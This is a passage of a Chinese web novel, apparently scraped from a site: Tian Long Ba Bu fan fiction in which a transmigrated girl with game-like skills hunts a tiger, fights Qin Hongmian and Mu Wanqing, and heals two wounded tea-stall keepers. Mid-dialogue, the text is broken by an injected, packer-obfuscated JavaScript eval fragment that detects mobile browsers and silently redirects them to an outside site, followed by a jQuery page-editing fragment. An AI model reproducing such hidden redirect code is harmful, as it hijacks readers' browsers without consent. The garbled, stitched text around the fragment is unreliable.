段昭昭不知道自己如此快学会《六脉神剑》有多么的惊世骇俗,毕竟她看电视剧的时候,段誉也是在旁边看着看着就学会的六脉神剑,感觉也没有花什么时间的样子。 都是开挂选手,她就是比段誉记得快一些罢了。 9. 段氏9 段正淳回来时,已是仲春二月,他一回来,先是直奔城外玉虚观,好说歹说见了刀白凤一面,将这些时日的经历一一道来后,这才去皇宫接的段昭昭和段誉。 只是他刚入皇宫,就被段正明拉着说了一堆关于段昭昭有多么天才又多么的自律,定要好生培养,万不可忽视段昭昭一类的话。 段正淳听后,两条浓密的眉毛却拧成了结,“昭儿年幼,怎可成日里只知道习武,这可不成。” 段正明自己爱练武是个武痴,如此方才练成了段氏俗家第一,他觉得练武十分有趣,并不觉得段昭昭整日练武有何不对,加之到底从未养过孩子,又对段昭昭天资之美很是欣赏,恨不得段昭昭立刻成为天下第一,哪里想得到旁的? 但段正淳可不是,段正淳是个非常有生活情趣之人,再加上,他算是亲手拉扯段誉长大的,在段誉出生后,母亲刀白凤便搬去了道观,段誉由段正淳照料,段正淳花心风流,却也是个好父亲,事事不假他人之手,于孩子教养一道颇有心得。 听段正明言段昭昭练武之刻苦,顿感这样可不行,当即便辞过段正明,要将段昭昭带回镇南王府,“昭儿母亲将昭儿托付给我,我要将昭儿好生教养长大,昭儿本就性子内敛,如此沉浸于武学一道,她到底年幼,却非好事。” 段正淳固然为段昭昭天才而高兴,却也担心段昭昭如此只知道习武会越发沉默寡言。 段正明怔然,面露愧色,“是我着相了,竟未想到这一点,教养孩子一道,我不如淳弟。” 段正淳微微一笑,并不多言,风尘仆仆地领着段昭昭和段誉回镇南王府。 马车上,他细细问了一遍段昭昭在皇宫中的生活,听见段昭昭果真除了习武练书无旁的乐趣后,心中忧虑,挤出了一个笑容,“爹爹这次回来给昭儿带来磨喝乐,特意令人比照昭儿的模样打造,共一套十二个,对应十二月份,昭儿你瞧瞧可喜欢?” 言罢,将一早准备的磨喝乐取了出来,这些磨喝乐被装在一个大大的木箱中,每个约有成年人的两个手掌那么大,以陶瓷制作而成,模样十分精致,拿在手中沉甸甸的。 “这磨喝乐好生精致,叫我说,却远远不如昭妹,昭妹会喜会怒,轻颦薄怒间活色生香,死物再精致也是远远比不上这份鲜活的。”段誉将脑袋凑了过来,打量了一番磨喝乐后,好话张口就来,就这夸人的水平,一点也不似八岁的孩子。 段正淳颔首附和道,“誉儿言之有理。” 段昭昭好奇地盯着手里的磨喝乐,这东西段誉曾拿得出来招待她一起玩过,不过段誉的都是男童,而这次段正淳带回来的却都是女童。戳了戳磨喝乐,那头戴不知名花卉的女童就这么歪到了一边。 “这十二个女童头戴不同花,对应十二月份,别有一番巧思。”段誉见段昭昭的手指拂过磨喝乐头上的花,便连声夸赞了起来。 作为一个城巴佬,段昭昭就连樱花和桃花都不是很分得清楚,闻言,好奇问道,“这些是什么花?” 段誉终于找到些许作为兄长的成就感了,兴致勃勃地从左首的磨喝乐开始介绍道,“这是梅花,正月梅花孤寒,二月杏花闹枝头,三月桃花正满院,四月牡丹国色天香....” 段昭昭听着段誉一一介绍,起了兴致,有一种自己收藏手办的快乐感。 等到了镇南王府,段誉迫不及待地将自己的磨喝乐拿了出来,兴冲冲道,“昭妹,你的磨喝乐太过孤单,不若和我的凑作一对,夫妻比翼双飞,何乐而不为。” 段昭昭:..... 原来过家家酒真的是哪个时代都有的啊.... “不好。”段昭昭毫不留情地拒绝了段昭昭的提议,“她们那么多的人凑在一块,才不孤单呢,足足有十二个,可以一起做许多的事。” 谁想要自己的oc和别人的手办谈恋爱啊!不行,绝对不行! 段誉被拒绝了倒也不恼,反而有几分的愧疚,“昭妹言之有理,姐姐妹妹在一起,定然是喜乐无比,倒是我硬凑进去,反而坏了这般美景。” 段昭昭听着这熟悉的调调,顿感头皮发麻,她只觉得段誉这个人是有些贾宝玉的特性在身上的,似乎下一秒就要说出“女儿是水作的骨肉,男人是泥作的骨肉。我见了女儿,我便清爽;见了男子,便觉浊臭逼人”。 好在段誉到底不是贾宝玉,并未说出这样的话,只是面露失落,“可惜不能与昭妹一道玩耍了。” 自段昭昭入镇南王府以来,段誉一直非常尽职尽责地当个好兄长,照顾段昭昭,段昭昭见段誉失落的模样,便觉得有些自己欺负小孩子的负罪感。 “不一起玩磨喝乐,还能一起玩旁的,我倒是想到一个有意思的东西,到时候做好了哥哥同我一道玩。” 段誉闻言,大喜,“昭妹,你真好。” 段昭昭越发不好意思,只觉得段誉着实太好哄了些,脾气是也是真的好。 段正淳见到兄妹俩的这番你来我往,也很是高兴,“誉儿,过两日你带着昭儿去拜谒你母亲,你是兄长要好生照顾昭儿,知道吗?昭儿,誉儿的阿娘在玉虚观挂单号玉虚散人,你见了称她为散人便是...” “爹爹放心,我会好生照顾昭妹! 段昭昭听得一个头两个大,她如今是段正淳的私生女,带着自己的私生女去见刀白凤,段正淳的心也太大了些,不怕把刀白凤气死? 将心比心,要是自己的老公出轨还把外头的私生女带回来,自己非要要将那狗男人的脑袋拧下来,对那个私生女也不会有什么好脸色。 段昭昭有心拒绝,“哥哥的阿娘,是爹爹的妻子吗?可是男子不是只有一个妻子吗?” 段正淳顿时尴尬不已,不知如何解释,只能用处唬小孩的万能话术,“你再大些便知道了,昭儿莫怕,凤凰儿是个好性子,你这般聪慧可爱,她定会喜欢你的。” 刀白凤到底是镇南王府的王妃,虽说如今和段正淳分居两地,但段昭昭作为镇南王府的郡主按照礼法还是要去拜会刀白凤。 段昭昭认定段正淳在忽悠自己,毕竟谁家老婆会喜欢私生女啊? 但事实往往出乎人意料。 两日后,段正淳领着段誉和段昭昭去了城外的玉虚观拜访刀白凤,他依旧没能进那观中,被拒之门外,段誉和段昭昭倒是进去了。 “娘,这是昭妹。昭妹可厉害可好了~还送了我新奇的玩具。”说着他变戏法似的掏出一个彩色的木牛来,那木牛上下分成了两半,将上头的一半一揭,里头却又是一只羊,“娘,你看,里头还有好几个呢。” 镇南王府有许多工匠,那日段昭昭说要送段誉玩具一起玩,有了点子告诉了府中工匠,不过两日工匠们便做好了送了过来,这模仿俄罗斯套娃的玩具极其得段誉喜爱,走哪儿都带着,就来见刀白凤也不例外。 刀白凤是摆夷族大酋长的女儿,姿容秀美,段昭昭一见她便想那句经典的“天龙寺外,菩提树下 ,化子邋遢 ,观音长发”,也无怪段延庆当初会将刀白凤认作观音,除却心境外,刀白凤有一种温和慈悲的美,的确好像画中观音一般。 刀白凤见段昭昭目不转睛地盯着自己,垂眸问道,“你怎的盯着我?” 段昭昭实话实说道,“因为你生得好看。” “那我与你阿娘,谁更美?” 段昭昭被这问题问得脑袋像是打了一拳,情商前所未有地占据了高地,脆生生道,“在我心中,阿娘最好看,不过在哥哥心中,你最好看。” “哼,他说你性子内敛害羞,如今看来,却是油嘴滑舌。”刀白凤轻轻哼了一声,却没有生气,反而拂尘一甩,打开了那桌上的木盒,“这些你捡着去玩吧。” 木盒中俱是各种玉石摆件,或白或青或黄,最大不过孩童巴掌大,非常适合拿在手中把玩。 段昭昭怎么都没有想到刀白凤会给自己送礼物,而且这些一看都是孩童的玩意,是特意为自己准备的,更是惊奇。 似乎....刀白凤对自己居然还不坏?她并不介意自己这个段正淳的私生女? 段昭昭不知,段正淳早就将“真相”告知刀白凤,刀白凤已然知晓段昭昭非段正淳亲女。她的不好惹对的是那些试图抢段正淳的女人,段昭昭生母极有可能命陨离世,死前都未曾见段正淳一面,若不是为了托孤,或许这一辈子也不会来大理。 刀白凤巴不得段正淳所有的红颜知己都是这样的人,又哪里会迁怒于段昭昭?且她也知晓,说来说去,不过是段正淳造的孽,段正淳辜负了对方,害得对方只能带着女儿隐居深山,刀白凤亦有两分感同身受,对段昭昭也有几分怜惜,这才会为她准备礼物。 刀白凤对段昭昭的好远超段昭昭的想象,她虽一开始嘴巴上颇有些不饶人,但是一日相处下来,语气已然温柔了不少,对段昭昭的称呼也从“你”变成了“昭儿”,俨然一个慈爱和善长辈,到了第二日,看段昭昭练武,甚至还给段昭昭传授了一套鞭法。 一度让段昭昭以为自己拿了什么《天才萌宝五岁半,团宠大家都喜爱》的剧本。 等她离开玉虚观的时候都还有些恍惚,没能回过神来,最后只能够归咎于段正淳的魅力是真的大,这到底是怎么操作的?她不懂,她大为震惊! 自这次玉虚观之行后,段誉每次去玉虚观都会带上段昭昭,而刀白凤一直待段昭昭极好,甚至不比待段誉这个儿子差,还曾带着段昭昭去过摆夷族,收获了那位摆夷族酋长的一堆礼物。 可以说,段昭昭在大理的生活皆是顺心如意,没有半点不顺,锦衣玉食,周围全是善意。 在这样和乐放松的环境中,段昭昭只需专心练武即可,时光荏苒,冬去春来,转眼又是三年过去,段昭昭从五岁长成了八岁,等级也变成了五十九级,只差一级,就能解锁新技能。 想想那些特效很足的聘风令和空蒙扇招式,段昭昭很是期待,还寻了人仿照他山月做了一柄折扇,虽说正版现在用不到,毕竟她还没有满一百二十级,但是仿版还是可以先用用的。 只是这最后的一级,打了大半月的巨石也没能满级,打巨石所获得的经验不变,升级所需要的经验却越来越多,如果还是只打巨石,不知要打到猴年马月去呢。 还是得找个对战对手才行。 段昭昭思来想去,准备找段氏的四大护卫当对手,她先前便有过这样的想法,只是段正明段正淳见她年幼,届不应允,如今她都要六十级了,段昭昭觉得可以试试。 人才行至书房,便听到谈话声。 “....有恶虎作乱,百姓苦不堪言,上书求派高手剿灭那恶虎。” 段昭昭听到这话,眼睛一亮,天选小boss啊!多好的练手对象啊!她不敢杀人,还不敢杀吃人的恶虎吗? “爹爹,让我去试试。”段昭昭推门而入,在段正淳要拒绝之前,开口道,“武道一途,不可闭门造车,爹爹若是担心我,便请高叔叔为我掠阵。” 段正淳拒绝的话语就这么堵在了喉咙,他沉思片刻,思及如今段昭昭的武功,到底还是答应了,“爹爹同你高叔叔一道陪你去,只是你要听话,万不可擅自行动。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360988|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹爹放心吧,我一定听话!” 段正淳当即便请人去请了高昇泰来,高昇泰为善阐侯,高氏于大理有功,高昇泰本人与段正淳关系极好,忠心耿耿,待段昭昭和段誉两个小辈又素来和善,他武功高强,为人谨慎心细,是段昭昭心中一等一的靠谱人。 事实也是如此,高昇泰将诸事安排得井井有条,知晓段昭昭想要杀虎增长对敌经验,又带了许多图册,去剑川剿虎的路上,将恶虎的弱点一一道来。 段昭昭心中暗自盘算了一下自己有的技能,大拇指的引窍,食指的锁神,中指的截阳,无名指的破穴,以及小拇指的断脉,还有各种小轻功,扶摇蹑云迎风回浪以及瑶台枕鹤凌霄揽胜,就是跳高向前向后向右向左的小轻功,整个顿感心安。 可以打! 等马车行至剑川那猛虎出没的地方,高昇泰令人在四周布下陷阱,又撒上驱逐猛兽的药,旧地扎营后,领人寻了一夜,终于确定那猛虎所在之地,又带人围攻将猛虎逼至包围圈,四周皆有弓箭手,高昇泰与段正淳一左一右掠阵,确保段昭昭万无一失。 段昭昭还是第一次见到这么凶狠的老虎,与她在动物园看过的那种懒洋洋地晒太阳的大猫并不相同,尖锐的牙齿,狰狞的面容,头次面对这些的段昭昭不由吞了吞口水,条件反射性地开始fff,不管了,武学助手启动! 穿越版本后的武学助手就像是音游一样,会亮起相应的图标,段昭昭需要打出对应的招式,f键是没有了,但是快乐,其实还是挺快乐的,不用动脑子,就是快乐。 更快乐的是,她发现了猛虎的身前有个红色的半弧形,头上还有红色的血条,一看等级,六十五级,太好了,是游戏插件!有救啦!段昭昭越发心安,有血条,有boss技能范围,这和打游戏有什么区别? 一边按照武学助手的提示着恶虎用着技能。 破穴、引窍,断脉,截阳.... 虽说因为技能不全,打不了一套循环,但是已然成体系,用来打六十五级的老虎绰绰有余。 时隔三年半再次打boss的段昭昭心无旁骛,她这副模样落在旁人眼里却是另一番情景。 虽然才八岁稚龄,面对如斯恶虎,镇定自若,每一招都精准地打在恶虎的弱点上,身法灵活地避开了恶虎的攻击,那恶虎利爪扬起的尘土甚至都未能沾染其衣角半分,任谁看都看不出这是个从未有过对敌经验的小姑娘。 “小郡主当真是百年难得一见的武学奇才。” 段正淳有些忧愁道,“泰弟谬赞了,我也不求昭儿于武道一途有何非凡成就,只愿她平安喜乐便是,然,昭儿她小小年纪,却一心沉浸武艺,我时常担忧她如此会失了诸多乐趣。” “淳哥这是关心则乱,子非鱼,安知鱼之乐,于小郡主而言,这寻求武道真意便是乐趣,有此乐无旁乐又有何妨?” “做父亲的,总是希望她事事圆满,只是这圆满终究难寻。也罢也——”段正淳的感慨的话还未说完,便见到了段昭昭的动作,不由失声道,“昭儿,你在做什么?” 原来,在段正淳与高昇泰的谈话间,段昭昭已经将那猛虎击杀,升到了六十级,正高兴着呢,便发现了老虎尸体上多了一层浅紫色的字体,显示可庖丁的字样,作为一个pve人,哪里能够受得住这诱惑?庖丁出来的精肉碎肉一类的可是能够做小药的,而小药可是能够增加dps的! 虽说现在各种生活技都还是灰色,但如今提示可庖丁了,她自然要将这猛虎庖丁一番,看看能不能解锁生活技能。 “爹爹莫急,待我将这恶虎庖丁,虎皮给干娘送去。”段昭昭说完,头也不抬,对着猛虎就是庖丁。 她话中的“干娘”不是旁人,正是刀白凤,段昭昭自然不可能跟着段誉一样,唤刀白凤作娘亲,唤“散人”又太过生疏,后来刀白凤收了段昭昭为“义女”,段昭昭便唤刀白凤作“干娘”。 段正淳本欲阻止,闻言,脚步一顿,到底是再也没有旁的动作。 “小郡主孝顺,淳哥与王妃好福气。”高昇泰见段正淳面露喜色,立刻出声奉承一番。 “王妃待昭儿极为慈爱,昭儿也心中惦记她,母女亲厚,此为喜事。”段正淳美滋滋的,事实上,他高兴之事并不止这个,他自有自己的算盘。 段昭昭与刀白凤关系亲厚,亲自打虎,又亲自将这虎皮剥下,只为给刀白凤送去,届时,刀白凤定然欢喜。段正淳已经许久未见妻子,思念得紧,便欲趁着这次去见刀白凤。 高昇泰并不知晓段正淳的心思,还以为段正淳是在为段昭昭孝顺而高兴。 不过一会儿,这恶虎便庖丁完了,庖丁等级倒是连升了好几级,然而其他技能尚且是灰色,没法解锁。 但一个庖丁技能也足够段昭昭受用,将来若行走江湖,这庖丁就是神技了,这么一头老虎,庖丁完成不过片刻,身上未沾丝毫血腥,行走江湖时,用来庖丁什么兔子鱼啊的,是再好不过的。 一群人满载而归,很快,镇南王府的小郡主猎杀恶虎之事便传至了大理国上下,甚至连无量山中之人也知晓了。 无量山,万劫谷中,身着淡绿绸衫的女子正倚在榻边,她将一个黄金钿盒,取出了一块有些残旧的红色纸片,纸片上隐隐还溅几滴血,上写,“乙卯年十二月初五丑时女”。 泪珠从女子粉白的脸上滚落,她暗自呢喃道,“淳哥,淳哥,她的女儿被你带在身边,我的女儿怎地就要同这样一个人?” 良久,女子缓缓起身,缓步至书房,提笔写下一行小字,“师姐亲启....” 10.段氏10 巳牌时分,数十名骑兵列成两队自大理城的大道疾驰而过,两队首末各有一名旗手,马背上均背着杏黄色的旗子,东侧两面杏旗上绣着一个段字,西侧两面杏旗上则绣着一个昭字。昭字旗上又别出心裁用黑金色的线绣了一只憨态可掬的金狗,威风凛凛的杏旗也有了几分童趣。 街道上众人避让,却不忘挥手高呼:“小郡主!”“郡主娘娘千岁!” 马背上的段昭昭听到这些欢呼,强忍羞耻,一手拉着缰绳,一手对沿街高呼的百姓挥手示意。 这是段正淳叮嘱她一定要做到的事,用段正淳的话来说便是不可辜负了百姓们的热情,要回应百姓们的爱戴。 故而,段昭昭哪怕羞耻心爆炸,依旧回应着百姓们的欢呼,而后街上的欢呼声更甚,直至一众铁骑离开一里地,仍能听到那欢呼声。 自上一次段昭昭剿灭恶虎后,段昭昭这位镇南王府的小郡主便在大理国内声名鹊起。因着与这种猛兽对战带来的经验极多,段昭昭干脆就开始围剿那些会伤人的猛兽。 段正淳与高昇泰为段昭昭掠阵几次后,确定段昭昭对付这些猛兽不会有什么生命危险,便也放了手,只是派骑兵护卫,又令人制了杏旗,好让那些人知晓是镇南王府的小郡主出行,以免有不长眼的冒犯。 作为一个升级狂魔,段昭昭用了三月不到,便将大理境内那些伤人的猛兽,或驱逐回山岭,或猎杀庖丁。 大理多山岭,猛兽作乱令各地百姓深受其苦,段昭昭此举可谓是善举,受益者甚多,大理百姓心中感激,段昭昭一跃成为大理国顶流,如今外出,但凡昭字旗一亮,必是欢呼声围绕,都快赶上她爹段正淳了。 这一次段昭昭是去剿匪的,那群匪贼的所在地早已被查清楚,武功低微,只是仗着人多又有兵器,奸淫掳掠,段正淳知晓后,便将这群劫匪作段昭昭的练手之用,段昭昭与人的交手经验太少,这样的匪贼正好适合她。 因着自己有事,无法亲自掠阵,段正淳便安排了数十个骑兵皆是军中好手与段昭昭一道,又有朱丹臣随护左右,这才有众人齐出的场景。 疾驰数十里后,日悬中天,大理的太阳十分毒辣,正好行至一茶铺处,众人便勒马休整,松快松快。 这茶铺开在路边,小小一间房,再用拼接的油布支出一个棚子,棚子下摆着几张破旧的木桌。 还未落座,朱丹臣便熟练地拿出一大一小两块布,大的铺在桌上,小的铺在那张长凳上。 “谢谢朱四哥。”又侧头对一旁的士兵道,“不必拘束,都去休息吧。” 段昭昭看着他们一身的铠甲,都觉得热,生怕这些人被这太阳给闷中暑了。 “小郡主客气了,哪里当得起一个谢字。”朱丹臣坐下后,拿出一把扇子对着段昭昭轻轻扇了起来。 其余士兵见两人落座后,自动分成了两队,一队仍披甲执锐护卫段昭昭左右,另一队则褪去铠甲,将桌椅搬离一段距离,确定不会熏着段昭昭,这才落座。 一时间一张张长凳上长满了人,虽说挤着热,却也比直接席地而坐来得好,如今的地滚烫得能直接煮鸡蛋。 朱丹臣见众人实在是热坏了,扬声对那屋子中唤道,“老板,可还有长凳?再支几张出来,有什么茶水也一并送上来。” 不一会儿屋中便走出一对母女,年长的那位生得十分貌美,瓜子脸上一对妩媚的长眉,年纪不过三十,肌肤白皙,年幼的那个,约莫十一二岁的模样,眉眼与她的母亲如出一辙,年纪虽小却也能窥见日后的美貌。 朱丹臣见到这对母女,手中的扇子“啪嗒”一声合了起来,方才还在扇风的扇子在这一刻化作了武器。 段昭昭幽幽叹了一口气,“孽缘,孽缘,全是爹爹的桃花债。这茶水也不必喝了,只怕没命喝这茶水。” 在段昭昭的眼中,那硕大无比的红名是如此的显眼,血条厚的那个是秦红棉,八十八级。血条薄的那个是木婉清,只有二十八级。 秦红棉与木婉清,正是段正淳的老情人和女儿。当年段誉和木婉清的那一段给了小小的段昭昭极大的震撼,后来长大后,听说金庸修书了,段誉没同王语嫣在一起,而是立了木婉清为贵妃,又再次给了段昭昭一番震撼,有一种童年碎裂的感觉。 而如今,那些只在电视剧书里的人物就这么水灵灵地出现在了她的眼前。 “你既然扮作这茶水铺的老板,想来是要对我们下毒,怎么连衣服都不曾换一下?”段昭昭手持山寨版他山月,走向秦红棉与木婉清,“这茶水铺的老板呢?他们在何处?” “你知道我?段郎....他同你提起过我?”秦红棉的嘴角微微扬起了,粉白的脸蛋上泛着动人的光辉。 这一下就把段昭昭整不会,这是什么情况? 不明所以的段昭昭只能实话实说道,“未曾,但我见你这样的貌美,你身侧的姐姐又与你那样的相似,还是冲我来的,便知道,与我爹爹脱不了干系。” 秦红棉倏地冷下脸来,方才的那点甜蜜也消失得一干二净,“好好好,他竟一点也未曾提起我,念过我!待我将你杀了,剁手割头给他送去,我看他还会不会忘了我!” “你不会这样做,你这般,爹爹肯定会生你的气,再也不喜欢你了。”段昭昭也有些回味过来了,这秦红棉是个恋爱脑,是恋爱脑就好,用段正淳来治她最好不过。 秦红棉冷哼一声,“你尽管看我会不会!” 她话音刚落,那些挤在长凳上的士兵面色泛黑,嘴唇发绀,纷纷栽倒在地。 “可惜了...” 段昭昭见秦红棉的目光扫过自己身前桌椅上的那些布,便明白她将那些毒下到了桌椅上,当即也不打算同她废话了,“朱四哥!” 朱丹臣手中扇子对着身前的桌子便是一掀,手腕微抖,那桌子便直直飞向木婉清,自己却是双脚一蹬,运起内力,直冲秦红棉而去。 木婉清年纪虽小武功亦不高,却十分镇定,手一抬,数支泛着紫光的小箭自她袖中飞出,这些小 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“婉儿!”秦红棉见木婉清受伤,紧张之下,手中的长刀不由慢了一息,朱丹臣立刻抓住这个失误,一个旋身,真气灌入手中的扇子,对着秦红棉右肩前穴便是一刺,秦红棉手中的长刀顿时脱落在地。 而段昭昭立刻补上了一个截阳和引窍,两个技能下去,秦红棉内息混乱顿时身体瘫软,单膝跪下后,一只手撑地,向前吐出了一口鲜血。朱丹臣上前,快速将秦红棉与木婉清身上的穴位点住,令两人不能动弹。 “你将解药给我,我抓你们回去,见我爹爹。”段昭昭知道她要的是什么,也不同她废话。 两眼清泪自秦红棉眼眶中滚滚而下,“见了又如何?他早已忘了我。” “爹爹不会忘了你的,他都没有忘记我娘,也不会忘记你。”段昭昭言之凿凿。 一旁的朱丹臣眼神游移了一瞬,他很清楚,段正淳至今都没有记起段昭昭的“母亲”,不过这话他可不能说出来。 “真的吗?” “你若是不答应,你想要再见到他就难了。” 秦红棉咬了咬唇,到底还是无法抵抗住见段正淳的诱惑,冷声道,“我身上金盒子的胭脂便是解药,化水服下即可。” 段昭昭从她的衣襟内侧的袋中找出胭脂,拿起秦红棉的手挖出了些许,而后直接怼到了秦红棉的口中。 “你倒是谨慎!我不屑骗人,这就是解药。” 段昭昭端详了一会儿秦红棉的脸色,无甚异样,这才将胭脂交给了朱丹臣,“朱四哥,劳烦你了。” 朱丹臣拿着胭脂,将胭脂分成了几份,又令那些尚且能够行动的士兵将这些胭脂化水给其他人服下便匆匆赶回了段昭昭身边。 此时段昭昭已经将秦红棉和木婉清身上的暗器扒了个精光,她看着自己扒拉出来的那堆东西,不由嘴角抽抽,江湖人真是神奇,没有背包还能将这么多的东西带在身上呢。 11.段氏11 “郡主,找到茶水铺的老板了,只是情况不大好,中了箭。” “带我过去。”今天这家茶水铺的老板也算是遭了无妄之灾了,段昭昭自然没有办法坐视不理。 狭窄的屋子中,一老一少躺在地上,这是一对母女,皮肤因为长期的劳作黝黑粗糙,她们的衣衫亦十分简陋,老旧得好似秋日的落叶一般,稍稍用力就会脆得碎裂一地,此时两人的胸腔前还都插着一支小箭,嘴唇泛紫。 随行的军医正对着她们的胸腔比划着,在犹豫着从哪个方向拔箭。 “窦大夫,有何难处?” “启禀郡主,这二人中了毒箭,需要先解毒才能拔箭,只是这二人虽因心脏在右侧,暂时保住一命,可这拔箭后,若是大出血,只怕是性命不保。” 段昭昭见这对母女生死未知,火气止不住地往上窜,快意恩仇的江湖在这一刻露出了灰暗的一角,那些潇洒肆意是属于大侠们的,而普通人,即使什么都没有做,也会遭受这样的无妄之灾。 “去找外头那对母女取解药来。”段昭昭侧头对随行的士兵吩咐完后,才对军医道,“解毒完后,我会封住她们的穴位,再以真气护住她们的心脉,若再拔箭,用上最好的金疮药,可能活下来?” “回郡主,若是以一阳指真气为二人疗伤,定然无恙。” “好,解毒后,就拔箭吧。” 不一会儿,秦红棉就领着木婉清进来了,两人虽然还能行动,却被封了武功,又被收了兵器,这二人到底是段正淳的红颜知己与女儿,朱丹臣作为家臣,自是不敢一直封着她们的穴道,让二人动弹不得地暴晒在日光之下,只能折中用了这么一个法子。 秦红棉一言不发地给母女俩喂了解药,而后便双手环胸,冷着一张脸站在了一旁。 木婉清感受到了气氛不对,她虽一直在深山长大,不懂世俗人情,却也绝非蠢笨之人,自然能够看得出来段昭昭如今的心情并不好。 唯恐段昭昭迁怒对秦红棉动手,她连忙道,“人是我杀的,师父都没有想杀她们,是她们自己听到你们来了,开始嚷嚷,不干师父的你事,你要杀就杀我!” 段昭昭并没有理会木婉清,全神贯注地看着地上的那对母女,见二人面色有所好转,眉头稍稍舒展,“毒可解了?” “回郡主,毒已经解了,可以准备拔箭了。” 段昭昭伸手,封住了这对母女的穴位,盘腿坐在母女俩的中间,“朱四哥,劳烦你将他们请出去。” 朱丹臣颔首,看向了秦红棉和木婉清,“二位,请吧.” 秦红棉却没有动,冷冷哼了一声,“我倒是要看看这丫头片子有什么功夫!” 段昭昭一点也不惯着她,手持他山月,盈气聚力,对着秦红棉先是一个骤风令而后又是一个抟风令,小风变大风,将秦红棉与木婉清卷起,卷得两人形容狼狈,那冰冷美丽的脸蛋被这风吹得像一只两颊鼓鼓的青蛙。 抟风令是段昭昭新解锁的技能,在结束了与木婉清和秦红棉的战斗后,虽说主战斗力是朱丹臣,但作为队友的段昭昭也得了不少的经验,打人的经验可比打猛兽的经验要来得多,再加上这些天的积累,她的等级直接升到了七十级。 七十级解锁了两个技能,其中一个就是抟风令,属于聘风令体系,属于控制团攻技能。 “你还要继续待着吗?” 被狂风吹倒的秦红棉没能再维持那冰冷孤傲的表情,捞起被风卷得晕头转向的木婉清,跺足转身离开,朱丹臣紧随其后,生怕她又去嚯嚯别人。 两人走后,段昭昭没有再耽搁,配合军医为母女俩拔箭。 这样的伤势在军中十分常见,又有一阳指协助,不过一刻钟,箭矢便被拔了出来,再撒上上好的金疮药,这对无辜的母女终于保住了性命。 段昭昭却没有就此停下来,她依旧用一阳指为二人疗伤,直至内力耗空,这才停手调息。 一阳指的疗伤效果卓群,待段昭昭调息结束,内力恢复后,这对母女已然悠悠转醒。 “可是郡主娘娘?”年长的那个先开了口,声音沙哑。 “是我,先别说话,喝点水,现在可还难受得厉害吗?”随从端来了水,段昭昭不假他人手,端给了母女二人。 母女二人连喝了几杯后,那母亲才道,“多谢郡主娘娘,我好多了。” 虽然说着好多了,但说话时说一阵,停一阵,显然还是难受得厉害。 她的女儿因着年轻,情况倒是要比她更好一些,她看见段昭昭,便目露崇拜之色,声音雀跃道,“郡主娘娘,我也没事了,我就知道郡主娘娘您一定会没事的!郡主娘娘连老虎都杀得,那二人再厉害,也不可能打得过郡主娘娘。” “嗯,她们已经被我打败抓起来了,你唤什么名字?” “我是阿星,这是我阿妈,大家都叫我阿妈慈姑。”阿星是个活泼的性子,又十分崇拜段昭昭,不待段昭昭问,便叽里咕噜地将始末全都说出来,哪怕伤口还在疼痛,却压根阻止不了她的“汇报”。 “她们让我和阿妈用那些乌七八糟的东西涂桌子,自个就坐在那里,我和阿妈做完后,就绑着我们,我听到她和那个小姑娘说要对郡主动手,您和王爷都是我家的恩人,哪里能够看着您被算计不出声? 本想着等您到了提醒您,不曾想那小姑娘厉害得紧。我才刚喊出声,她手一抬,箭就射过来了,我阿妈装死,我也装死,她们都没有发现哦。” 阿星有些得意,挺了挺胸膛,这一动扯住了她的伤口,疼得她龇牙咧嘴的,不敢再乱动弹。 “恩人?” “嗯,我小时候,阿爹被山匪杀了,是王爷杀了山匪,给我阿爹报仇,后来我阿哥被老虎吃了,我和阿娘也没了地,活不下去了,只能来这摆摊子维持生计,是郡主娘娘您杀了老虎,替我阿哥报了仇。” 段昭昭听到这里,哪还有什么不明白? 秦红棉被称为修罗刀,当然不是什么好性子,一开始未要阿星和慈姑的性命 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“阿星,不能对郡主娘娘不尊敬。” “可郡主娘娘就是脸红了,他们都说郡主娘娘能杀老虎,要比老虎还健壮哩,可郡主娘娘好小,真好看,跟花似的。” 即使相隔二十多尺,耳聪目明的段昭昭依旧将两人的话听得一清二楚,脚步不由又快了几分,有些骄傲,又有些羞耻,还有几分羞愧,一时间心情复杂极了。 她觉得,她必须为她们做点什么。 “朱四哥。”段昭昭疾步至朱丹臣身前,不待朱丹臣询问,便将始末说了个明白,又道,“慈姑与阿星,是侠义之辈,我要传信给爹爹,请爹爹好好安顿他们,为她们做主。” 朱丹臣听到“侠义之辈”四字,不由扫了一眼依旧气得一言不发的秦红棉和木婉清。 段氏祖上为中原武林世家,如今虽为大理皇族,可因先祖遗训,行事颇具江湖风气。 而在这江湖,义字当头,侠义之辈,在江湖之中最受推崇。 如果慈姑和阿星只是普通的百姓,那么这件事只会以段正淳弥补一些银财结束。可当段昭昭将二人定义为“侠义之辈”后,段正淳就必须要给两人一个交代了,哪怕行凶者是他的红颜知己与女儿。 应该说,正是因为行凶者是他的情人和女儿,段正淳便更不能偏私。 朱丹臣注视着段昭昭,段昭昭平静回视。 良久,朱丹臣唰地一下打开了自己的扇子,幽幽一笑,道,“小郡主言之有理,慈姑与阿星为侠义之士,待小郡主书信一封,臣便替您传信于王爷。” 段昭昭仍觉得不保险,“我想伯父了,我也给伯父写封信。” 早晨出门前,段正明亲临镇南王府为段昭昭送行,如今未至三个时辰。但段昭昭说这话一点都不心虚,她理直气壮地看着朱丹臣,等着朱丹臣的回答。 朱丹臣好脾气地笑了笑,“那臣再替您送一份给皇上。” 12.段氏12 “昭儿,昭儿。”声音与马蹄声一起传来,片刻只见段正淳扬鞭策马而至,他翻身下马,匆匆行至段昭昭身前,将段昭昭左右检查了一番,确定段昭昭无事后这才松了一口气。 段正淳来得很快,距离朱丹臣送信也就两个多时辰,他已然从镇南王府赶来,想来是刚收到信不久,马不停蹄地赶到。 “是爹爹连累了你。”段正淳一脸的愧疚,朱丹臣回去送信的时候,用他的好口才将打斗场景说得惊险万分,在出发前,段正明还将段正淳训斥了一遍。 段正淳至今都没有想起段昭昭的生母到底是哪位,但对方既然受他牵连,对他亦有情义,段昭昭因着他没了生母,在段正淳心中,他无论如何,也该好好护着段昭昭长大。 